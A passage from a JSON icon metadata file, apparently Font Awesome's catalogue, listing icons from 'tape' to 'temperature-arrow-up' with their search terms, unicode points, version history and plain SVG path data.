        "path": "M345 39.1L472.8 168.4c52.4 53 52.4 138.2 0 191.2L360.8 472.9c-9.3 9.4-24.5 9.5-33.9 .2s-9.5-24.5-.2-33.9L438.6 325.9c33.9-34.3 33.9-89.4 0-123.7L310.9 72.9c-9.3-9.4-9.2-24.6 .2-33.9s24.6-9.2 33.9 .2zM0 229.5V80C0 53.5 21.5 32 48 32H197.5c17 0 33.3 6.7 45.3 18.7l168 168c25 25 25 65.5 0 90.5L277.3 442.7c-25 25-65.5 25-90.5 0l-168-168C6.7 262.7 0 246.5 0 229.5zM144 144a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"
      }
    },
    "free": ["solid"]
  },
  "tape": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4db"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["design", "package", "sticky"]
    },
    "styles": ["solid"],
    "unicode": "f4db",
    "label": "Tape",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M380.8 416c41.5-40.7 67.2-97.3 67.2-160C448 132.3 347.7 32 224 32S0 132.3 0 256S100.3 480 224 480H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H380.8zM224 160a96 96 0 1 1 0 192 96 96 0 1 1 0-192zm64 96a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M380.8 416c41.5-40.7 67.2-97.3 67.2-160C448 132.3 347.7 32 224 32S0 132.3 0 256S100.3 480 224 480H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H380.8zM224 160a96 96 0 1 1 0 192 96 96 0 1 1 0-192zm64 96a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z"
      }
    },
    "free": ["solid"]
  },
  "tarp": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["protection", "tarp", "tent", "waterproof"]
    },
    "styles": ["solid"],
    "unicode": "e57b",
    "label": "Tarp",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M576 128c0-35.3-28.7-64-64-64H64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64l352 0 0-128c0-17.7 14.3-32 32-32H576V128zM448 448L576 320H448l0 128zM96 128a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M576 128c0-35.3-28.7-64-64-64H64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64l352 0 0-128c0-17.7 14.3-32 32-32H576V128zM448 448L576 320H448l0 128zM96 128a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "tarp-droplet": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["protection", "tarp", "tent", "waterproof"]
    },
    "styles": ["solid"],
    "unicode": "e57c",
    "label": "Tarp Droplet",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 160c-35.3 0-64-26.9-64-60c0-24 33.7-70.1 52.2-93.5c6.1-7.7 17.5-7.7 23.6 0C318.3 29.9 352 76 352 100c0 33.1-28.7 60-64 60zM64 128H197.5c13.2 37.3 48.7 64 90.5 64s77.4-26.7 90.5-64H512c35.3 0 64 28.7 64 64V352H448c-17.7 0-32 14.3-32 32l0 128L64 512c-35.3 0-64-28.7-64-64V192c0-35.3 28.7-64 64-64zM448 512l0-128H576L448 512zM96 256a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 160c-35.3 0-64-26.9-64-60c0-24 33.7-70.1 52.2-93.5c6.1-7.7 17.5-7.7 23.6 0C318.3 29.9 352 76 352 100c0 33.1-28.7 60-64 60zM64 128H197.5c13.2 37.3 48.7 64 90.5 64s77.4-26.7 90.5-64H512c35.3 0 64 28.7 64 64V352H448c-17.7 0-32 14.3-32 32l0 128L64 512c-35.3 0-64-28.7-64-64V192c0-35.3 28.7-64 64-64zM448 512l0-128H576L448 512zM96 256a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "taxi": {
    "aliases": {
      "names": ["cab"],
      "unicodes": {
        "composite": ["1f696"],
        "secondary": ["10f1ba"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cab",
        "cabbie",
        "car",
        "car service",
        "lyft",
        "machine",
        "oncoming",
        "oncoming taxi",
        "taxi",
        "transportation",
        "travel",
        "uber",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1ba",
    "label": "Taxi",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M192 0c-17.7 0-32 14.3-32 32V64c0 .1 0 .1 0 .2c-38.6 2.2-72.3 27.3-85.2 64.1L39.6 228.8C16.4 238.4 0 261.3 0 288V432v48c0 17.7 14.3 32 32 32H64c17.7 0 32-14.3 32-32V432H416v48c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V432 288c0-26.7-16.4-49.6-39.6-59.2L437.2 128.3c-12.9-36.8-46.6-62-85.2-64.1c0-.1 0-.1 0-.2V32c0-17.7-14.3-32-32-32H192zM165.4 128H346.6c13.6 0 25.7 8.6 30.2 21.4L402.9 224H109.1l26.1-74.6c4.5-12.8 16.6-21.4 30.2-21.4zM96 288a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm288 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M192 0c-17.7 0-32 14.3-32 32V64c0 .1 0 .1 0 .2c-38.6 2.2-72.3 27.3-85.2 64.1L39.6 228.8C16.4 238.4 0 261.3 0 288V432v48c0 17.7 14.3 32 32 32H64c17.7 0 32-14.3 32-32V432H416v48c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V432 288c0-26.7-16.4-49.6-39.6-59.2L437.2 128.3c-12.9-36.8-46.6-62-85.2-64.1c0-.1 0-.1 0-.2V32c0-17.7-14.3-32-32-32H192zM165.4 128H346.6c13.6 0 25.7 8.6 30.2 21.4L402.9 224H109.1l26.1-74.6c4.5-12.8 16.6-21.4 30.2-21.4zM96 288a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm288 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      }
    },
    "free": ["solid"]
  },
  "teamspeak": {
    "changes": ["5.0.11", "5.1.0", "5.8.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4f9",
    "label": "Teamspeak",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1678906824,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M152.8 37.2c-32.2 38.1-56.1 82.6-69.9 130.5c0 .2-.1 .3-.1 .5C43.5 184.4 16 223 16 268c0 59.6 48.4 108 108 108s108-48.4 108-108c0-53.5-38.9-97.9-90-106.5c15.7-41.8 40.4-79.6 72.3-110.7c1.8-1.6 4-2.6 6.3-3.1c37.2-11.5 76.7-13.3 114.8-5.2C454.7 67.6 534 180.7 517.1 301.3c-8.4 62.6-38.6 112.7-87.7 151.4c-50.1 39.7-107.5 54.3-170.2 52.2l-24-1c12.4 2.8 25 4.9 37.6 6.3c40.7 4.2 81.4 2.1 120.1-12.5c94-35.5 149.3-102.3 162.9-202.5c4.8-52.6-5.8-105.4-30.8-152C454.6 11.3 290.8-38.4 159 32c-2.4 1.4-4.5 3.1-6.3 5.2zM309.4 433.9c-2.1 11.5-4.2 21.9-14.6 31.3c53.2-1 123.2-29.2 161.8-97.1c39.7-69.9 37.6-139.9-6.3-207.8C413.8 105 360.5 77.9 293.7 73.7c1.5 2.3 3.2 4.4 5.2 6.3l5.2 6.3c25.1 31.3 37.6 67.9 42.8 107.5c2.1 15.7-1 30.3-13.6 41.8c-4.2 3.1-5.2 6.3-4.2 10.4l7.3 17.7L365.7 318c5.2 11.5 4.2 19.8-6.3 28.2c-3.2 2.5-6.7 4.6-10.4 6.3l-18.8 8.4 3.1 13.6c3.1 6.3 1 12.5-3.1 17.7c-2.5 2.4-3.8 5.9-3.1 9.4c2.1 11.5-2.1 19.8-12.5 25.1c-2.1 1-4.2 5.2-5.2 7.3zm-133.6-3.1c16.7 11.5 34.5 20.9 53.2 26.1c24 5.2 41.8-6.3 44.9-30.3c1-8.4 5.2-14.6 12.5-17.7c7.3-4.2 8.4-7.3 2.1-13.6l-9.4-8.4 13.6-4.2c6.3-2.1 7.3-5.2 5.2-11.5c-1.4-3-2.4-6.2-3.1-9.4c-3.1-14.6-2.1-15.7 11.5-18.8c8.4-3.1 15.7-6.3 21.9-12.5c3.1-2.1 3.1-4.2 1-8.4l-16.7-30.3c-1-1.9-2.1-3.8-3.1-5.7c-6.4-11.7-13-23.6-15.7-37.1c-2.1-9.4-1-17.7 8.4-24c5.2-4.2 8.4-9.4 8.4-16.7c-.4-10.1-1.5-20.3-3.1-30.3c-6.3-37.6-23-68.9-51.2-95c-5.2-4.2-9.4-6.3-16.7-4.2L203.9 91.5c2 1.2 4 2.4 6 3.6l0 0c6.3 3.7 12.2 7.3 17 12.1c30.3 26.1 41.8 61.6 45.9 100.2c1 8.4 0 16.7-7.3 21.9c-8.4 5.2-10.4 12.5-7.3 20.9c4.9 13.2 10.4 26 16.7 38.6L291.6 318c-6.3 8.4-13.6 11.5-21.9 14.6c-12.5 3.1-14.6 7.3-10.4 20.9c.6 1.5 1.4 2.8 2.1 4.2c2.1 5.2 1 8.4-4.2 10.4l-12.5 3.1 5.2 4.2 4.2 4.2c4.2 5.2 4.2 8.4-2.1 10.4c-7.3 4.2-11.5 9.4-11.5 17.7c0 12.5-7.3 19.8-18.8 24c-3.8 1-7.6 1.5-11.5 1l-34.5-2.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M152.8 37.2c-32.2 38.1-56.1 82.6-69.9 130.5c0 .2-.1 .3-.1 .5C43.5 184.4 16 223 16 268c0 59.6 48.4 108 108 108s108-48.4 108-108c0-53.5-38.9-97.9-90-106.5c15.7-41.8 40.4-79.6 72.3-110.7c1.8-1.6 4-2.6 6.3-3.1c37.2-11.5 76.7-13.3 114.8-5.2C454.7 67.6 534 180.7 517.1 301.3c-8.4 62.6-38.6 112.7-87.7 151.4c-50.1 39.7-107.5 54.3-170.2 52.2l-24-1c12.4 2.8 25 4.9 37.6 6.3c40.7 4.2 81.4 2.1 120.1-12.5c94-35.5 149.3-102.3 162.9-202.5c4.8-52.6-5.8-105.4-30.8-152C454.6 11.3 290.8-38.4 159 32c-2.4 1.4-4.5 3.1-6.3 5.2zM309.4 433.9c-2.1 11.5-4.2 21.9-14.6 31.3c53.2-1 123.2-29.2 161.8-97.1c39.7-69.9 37.6-139.9-6.3-207.8C413.8 105 360.5 77.9 293.7 73.7c1.5 2.3 3.2 4.4 5.2 6.3l5.2 6.3c25.1 31.3 37.6 67.9 42.8 107.5c2.1 15.7-1 30.3-13.6 41.8c-4.2 3.1-5.2 6.3-4.2 10.4l7.3 17.7L365.7 318c5.2 11.5 4.2 19.8-6.3 28.2c-3.2 2.5-6.7 4.6-10.4 6.3l-18.8 8.4 3.1 13.6c3.1 6.3 1 12.5-3.1 17.7c-2.5 2.4-3.8 5.9-3.1 9.4c2.1 11.5-2.1 19.8-12.5 25.1c-2.1 1-4.2 5.2-5.2 7.3zm-133.6-3.1c16.7 11.5 34.5 20.9 53.2 26.1c24 5.2 41.8-6.3 44.9-30.3c1-8.4 5.2-14.6 12.5-17.7c7.3-4.2 8.4-7.3 2.1-13.6l-9.4-8.4 13.6-4.2c6.3-2.1 7.3-5.2 5.2-11.5c-1.4-3-2.4-6.2-3.1-9.4c-3.1-14.6-2.1-15.7 11.5-18.8c8.4-3.1 15.7-6.3 21.9-12.5c3.1-2.1 3.1-4.2 1-8.4l-16.7-30.3c-1-1.9-2.1-3.8-3.1-5.7c-6.4-11.7-13-23.6-15.7-37.1c-2.1-9.4-1-17.7 8.4-24c5.2-4.2 8.4-9.4 8.4-16.7c-.4-10.1-1.5-20.3-3.1-30.3c-6.3-37.6-23-68.9-51.2-95c-5.2-4.2-9.4-6.3-16.7-4.2L203.9 91.5c2 1.2 4 2.4 6 3.6l0 0c6.3 3.7 12.2 7.3 17 12.1c30.3 26.1 41.8 61.6 45.9 100.2c1 8.4 0 16.7-7.3 21.9c-8.4 5.2-10.4 12.5-7.3 20.9c4.9 13.2 10.4 26 16.7 38.6L291.6 318c-6.3 8.4-13.6 11.5-21.9 14.6c-12.5 3.1-14.6 7.3-10.4 20.9c.6 1.5 1.4 2.8 2.1 4.2c2.1 5.2 1 8.4-4.2 10.4l-12.5 3.1 5.2 4.2 4.2 4.2c4.2 5.2 4.2 8.4-2.1 10.4c-7.3 4.2-11.5 9.4-11.5 17.7c0 12.5-7.3 19.8-18.8 24c-3.8 1-7.6 1.5-11.5 1l-34.5-2.1z"
      }
    },
    "free": ["brands"]
  },
  "teeth": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f62e"]
      }
    },
    "changes": ["5.2.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bite", "dental", "dentist", "gums", "mouth", "smile", "tooth"]
    },
    "styles": ["solid"],
    "unicode": "f62e",
    "label": "Teeth",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 128C0 75 43 32 96 32H480c53 0 96 43 96 96V384c0 53-43 96-96 96H96c-53 0-96-43-96-96V128zm176 48v56c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V176c0-26.5-21.5-48-48-48s-48 21.5-48 48zm176-48c-26.5 0-48 21.5-48 48v56c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V176c0-26.5-21.5-48-48-48zM48 208v24c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V208c0-26.5-21.5-48-48-48s-48 21.5-48 48zM96 384c26.5 0 48-21.5 48-48V312c0-13.3-10.7-24-24-24H72c-13.3 0-24 10.7-24 24v24c0 26.5 21.5 48 48 48zm80-48c0 26.5 21.5 48 48 48s48-21.5 48-48V312c0-13.3-10.7-24-24-24H200c-13.3 0-24 10.7-24 24v24zm176 48c26.5 0 48-21.5 48-48V312c0-13.3-10.7-24-24-24H328c-13.3 0-24 10.7-24 24v24c0 26.5 21.5 48 48 48zm80-176v24c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V208c0-26.5-21.5-48-48-48s-48 21.5-48 48zm48 176c26.5 0 48-21.5 48-48V312c0-13.3-10.7-24-24-24H456c-13.3 0-24 10.7-24 24v24c0 26.5 21.5 48 48 48z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 128C0 75 43 32 96 32H480c53 0 96 43 96 96V384c0 53-43 96-96 96H96c-53 0-96-43-96-96V128zm176 48v56c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V176c0-26.5-21.5-48-48-48s-48 21.5-48 48zm176-48c-26.5 0-48 21.5-48 48v56c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V176c0-26.5-21.5-48-48-48zM48 208v24c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V208c0-26.5-21.5-48-48-48s-48 21.5-48 48zM96 384c26.5 0 48-21.5 48-48V312c0-13.3-10.7-24-24-24H72c-13.3 0-24 10.7-24 24v24c0 26.5 21.5 48 48 48zm80-48c0 26.5 21.5 48 48 48s48-21.5 48-48V312c0-13.3-10.7-24-24-24H200c-13.3 0-24 10.7-24 24v24zm176 48c26.5 0 48-21.5 48-48V312c0-13.3-10.7-24-24-24H328c-13.3 0-24 10.7-24 24v24c0 26.5 21.5 48 48 48zm80-176v24c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V208c0-26.5-21.5-48-48-48s-48 21.5-48 48zm48 176c26.5 0 48-21.5 48-48V312c0-13.3-10.7-24-24-24H456c-13.3 0-24 10.7-24 24v24c0 26.5 21.5 48 48 48z"
      }
    },
    "free": ["solid"]
  },
  "teeth-open": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f62f"]
      }
    },
    "changes": ["5.2.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["dental", "dentist", "gums bite", "mouth", "smile", "tooth"]
    },
    "styles": ["solid"],
    "unicode": "f62f",
    "label": "Teeth Open",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M96 32C43 32 0 75 0 128v64c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128c0-53-43-96-96-96H96zM224 96c26.5 0 48 21.5 48 48v56c0 13.3-10.7 24-24 24H200c-13.3 0-24-10.7-24-24V144c0-26.5 21.5-48 48-48zm80 48c0-26.5 21.5-48 48-48s48 21.5 48 48v56c0 13.3-10.7 24-24 24H328c-13.3 0-24-10.7-24-24V144zM96 128c26.5 0 48 21.5 48 48v24c0 13.3-10.7 24-24 24H72c-13.3 0-24-10.7-24-24V176c0-26.5 21.5-48 48-48zm336 48c0-26.5 21.5-48 48-48s48 21.5 48 48v24c0 13.3-10.7 24-24 24H456c-13.3 0-24-10.7-24-24V176zM96 480H480c53 0 96-43 96-96V352c0-35.3-28.7-64-64-64H64c-35.3 0-64 28.7-64 64v32c0 53 43 96 96 96zm0-64c-26.5 0-48-21.5-48-48V344c0-13.3 10.7-24 24-24h48c13.3 0 24 10.7 24 24v24c0 26.5-21.5 48-48 48zm80-48V344c0-13.3 10.7-24 24-24h48c13.3 0 24 10.7 24 24v24c0 26.5-21.5 48-48 48s-48-21.5-48-48zm176 48c-26.5 0-48-21.5-48-48V344c0-13.3 10.7-24 24-24h48c13.3 0 24 10.7 24 24v24c0 26.5-21.5 48-48 48zm80-48V344c0-13.3 10.7-24 24-24h48c13.3 0 24 10.7 24 24v24c0 26.5-21.5 48-48 48s-48-21.5-48-48z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M96 32C43 32 0 75 0 128v64c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128c0-53-43-96-96-96H96zM224 96c26.5 0 48 21.5 48 48v56c0 13.3-10.7 24-24 24H200c-13.3 0-24-10.7-24-24V144c0-26.5 21.5-48 48-48zm80 48c0-26.5 21.5-48 48-48s48 21.5 48 48v56c0 13.3-10.7 24-24 24H328c-13.3 0-24-10.7-24-24V144zM96 128c26.5 0 48 21.5 48 48v24c0 13.3-10.7 24-24 24H72c-13.3 0-24-10.7-24-24V176c0-26.5 21.5-48 48-48zm336 48c0-26.5 21.5-48 48-48s48 21.5 48 48v24c0 13.3-10.7 24-24 24H456c-13.3 0-24-10.7-24-24V176zM96 480H480c53 0 96-43 96-96V352c0-35.3-28.7-64-64-64H64c-35.3 0-64 28.7-64 64v32c0 53 43 96 96 96zm0-64c-26.5 0-48-21.5-48-48V344c0-13.3 10.7-24 24-24h48c13.3 0 24 10.7 24 24v24c0 26.5-21.5 48-48 48zm80-48V344c0-13.3 10.7-24 24-24h48c13.3 0 24 10.7 24 24v24c0 26.5-21.5 48-48 48s-48-21.5-48-48zm176 48c-26.5 0-48-21.5-48-48V344c0-13.3 10.7-24 24-24h48c13.3 0 24 10.7 24 24v24c0 26.5-21.5 48-48 48zm80-48V344c0-13.3 10.7-24 24-24h48c13.3 0 24 10.7 24 24v24c0 26.5-21.5 48-48 48s-48-21.5-48-48z"
      }
    },
    "free": ["solid"]
  },
  "telegram": {
    "aliases": {
      "names": ["telegram-plane"],
      "unicodes": {
        "composite": ["f3fe"],
        "secondary": ["10f3fe"]
      }
    },
    "changes": ["4.7.0", "5.0.0", "6.0.0-beta1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2c6",
    "label": "Telegram",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248,8C111.033,8,0,119.033,0,256S111.033,504,248,504,496,392.967,496,256,384.967,8,248,8ZM362.952,176.66c-3.732,39.215-19.881,134.378-28.1,178.3-3.476,18.584-10.322,24.816-16.948,25.425-14.4,1.326-25.338-9.517-39.287-18.661-21.827-14.308-34.158-23.215-55.346-37.177-24.485-16.135-8.612-25,5.342-39.5,3.652-3.793,67.107-61.51,68.335-66.746.153-.655.3-3.1-1.154-4.384s-3.59-.849-5.135-.5q-3.283.746-104.608,69.142-14.845,10.194-26.894,9.934c-8.855-.191-25.888-5.006-38.551-9.123-15.531-5.048-27.875-7.717-26.8-16.291q.84-6.7,18.45-13.7,108.446-47.248,144.628-62.3c68.872-28.647,83.183-33.623,92.511-33.789,2.052-.034,6.639.474,9.61,2.885a10.452,10.452,0,0,1,3.53,6.716A43.765,43.765,0,0,1,362.952,176.66Z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248,8C111.033,8,0,119.033,0,256S111.033,504,248,504,496,392.967,496,256,384.967,8,248,8ZM362.952,176.66c-3.732,39.215-19.881,134.378-28.1,178.3-3.476,18.584-10.322,24.816-16.948,25.425-14.4,1.326-25.338-9.517-39.287-18.661-21.827-14.308-34.158-23.215-55.346-37.177-24.485-16.135-8.612-25,5.342-39.5,3.652-3.793,67.107-61.51,68.335-66.746.153-.655.3-3.1-1.154-4.384s-3.59-.849-5.135-.5q-3.283.746-104.608,69.142-14.845,10.194-26.894,9.934c-8.855-.191-25.888-5.006-38.551-9.123-15.531-5.048-27.875-7.717-26.8-16.291q.84-6.7,18.45-13.7,108.446-47.248,144.628-62.3c68.872-28.647,83.183-33.623,92.511-33.789,2.052-.034,6.639.474,9.61,2.885a10.452,10.452,0,0,1,3.53,6.716A43.765,43.765,0,0,1,362.952,176.66Z"
      }
    },
    "free": ["brands"]
  },
  "temperature-arrow-down": {
    "aliases": {
      "names": ["temperature-down"],
      "unicodes": {
        "secondary": ["10e03f"]
      }
    },
    "changes": [
      "5.12.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "air conditioner",
        "cold",
        "heater",
        "mercury",
        "thermometer",
        "winter"
      ]
    },
    "styles": ["solid"],
    "unicode": "e03f",
    "label": "Temperature Arrow Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M128 112c0-26.5 21.5-48 48-48s48 21.5 48 48V276.5c0 17.3 7.1 31.9 15.3 42.5C249.8 332.6 256 349.5 256 368c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-18.5 6.2-35.4 16.7-48.9c8.2-10.6 15.3-25.2 15.3-42.5V112zM176 0C114.1 0 64 50.1 64 112V276.4c0 .1-.1 .3-.2 .6c-.2 .6-.8 1.6-1.7 2.8C43.2 304.2 32 334.8 32 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-33.2-11.2-63.8-30.1-88.1c-.9-1.2-1.5-2.2-1.7-2.8c-.1-.3-.2-.5-.2-.6V112C288 50.1 237.9 0 176 0zm0 416c26.5 0 48-21.5 48-48c0-20.9-13.4-38.7-32-45.3V272c0-8.8-7.2-16-16-16s-16 7.2-16 16v50.7c-18.6 6.6-32 24.4-32 45.3c0 26.5 21.5 48 48 48zm336-64H480V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V352H384c-12.9 0-24.6 7.8-29.6 19.8s-2.2 25.7 6.9 34.9l64 64c6 6 14.1 9.4 22.6 9.4s16.6-3.4 22.6-9.4l64-64c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M128 112c0-26.5 21.5-48 48-48s48 21.5 48 48V276.5c0 17.3 7.1 31.9 15.3 42.5C249.8 332.6 256 349.5 256 368c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-18.5 6.2-35.4 16.7-48.9c8.2-10.6 15.3-25.2 15.3-42.5V112zM176 0C114.1 0 64 50.1 64 112V276.4c0 .1-.1 .3-.2 .6c-.2 .6-.8 1.6-1.7 2.8C43.2 304.2 32 334.8 32 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-33.2-11.2-63.8-30.1-88.1c-.9-1.2-1.5-2.2-1.7-2.8c-.1-.3-.2-.5-.2-.6V112C288 50.1 237.9 0 176 0zm0 416c26.5 0 48-21.5 48-48c0-20.9-13.4-38.7-32-45.3V272c0-8.8-7.2-16-16-16s-16 7.2-16 16v50.7c-18.6 6.6-32 24.4-32 45.3c0 26.5 21.5 48 48 48zm336-64H480V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V352H384c-12.9 0-24.6 7.8-29.6 19.8s-2.2 25.7 6.9 34.9l64 64c6 6 14.1 9.4 22.6 9.4s16.6-3.4 22.6-9.4l64-64c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8z"
      }
    },
    "free": ["solid"]
  },
  "temperature-arrow-up": {
    "aliases": {
      "names": ["temperature-up"],
      "unicodes": {
        "secondary": ["10e040"]
      }
    },
    "changes": [
      "5.12.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "air conditioner",
        "cold",
        "heater",
        "mercury",
        "thermometer",
        "winter"
      ]
    },
    "styles": ["solid"],
    "unicode": "e040",
    "label": "Temperature Arrow Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M128 112c0-26.5 21.5-48 48-48s48 21.5 48 48V276.5c0 17.3 7.1 31.9 15.3 42.5C249.8 332.6 256 349.5 256 368c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-18.5 6.2-35.4 16.7-48.9c8.2-10.6 15.3-25.2 15.3-42.5V112zM176 0C114.1 0 64 50.1 64 112V276.4c0 .1-.1 .3-.2 .6c-.2 .6-.8 1.6-1.7 2.8C43.2 304.2 32 334.8 32 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-33.2-11.2-63.8-30.1-88.1c-.9-1.2-1.5-2.2-1.7-2.8c-.1-.3-.2-.5-.2-.6V112C288 50.1 237.9 0 176 0zm0 416c26.5 0 48-21.5 48-48c0-20.9-13.4-38.7-32-45.3V112c0-8.8-7.2-16-16-16s-16 7.2-16 16V322.7c-18.6 6.6-32 24.4-32 45.3c0 26.5 21.5 48 48 48zM480 160h32c12.9 0 24.6-7.8 29.6-19.8s2.2-25.7-6.9-34.9l-64-64c-12.5-12.5-32.8-12.5-45.3 0l-64 64c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8h32V448c0 17.7 14.3 32 32 32s32-14.3 32-32V160z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M128 112c0-26.5 21.5-48 48-48s48 21.5 48 48V276.5c0 17.3 7.1 31.9 15.3 42.5C249.8 332.6 256 349.5 256 368c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-18.5 6.2-35.4 16.7-48.9c8.2-10.6 15.3-25.2 15.3-42.5V112zM176 0C114.1 0 64 50.1 64 112V276.4c0 .1-.1 .3-.2 .6c-.2 .6-.8 1.6-1.7 2.8C43.2 304.2 32 334.8 32 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-33.2-11.2-63.8-30.1-88.1c-.9-1.2-1.5-2.2-1.7-2.8c-.1-.3-.2-.5-.2-.6V112C288 50.1 237.9 0 176 0zm0 416c26.5 0 48-21.5 48-48c0-20.9-13.4-38.7-32-45.3V112c0-8.8-7.2-16-16-16s-16 7.2-16 16V322.7c-18.6 6.6-32 24.4-32 45.3c0 26.5 21.5 48 48 48zM480 160h32c12.9 0 24.6-7.8 29.6-19.8s2.2-25.7-6.9-34.9l-64-64c-12.5-12.5-32.8-12.5-45.3 0l-64 64c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8h32V448c0 17.7 14.3 32 32 32s32-14.3 32-32V160z"
      }
    },
    "free": ["solid"]
  },
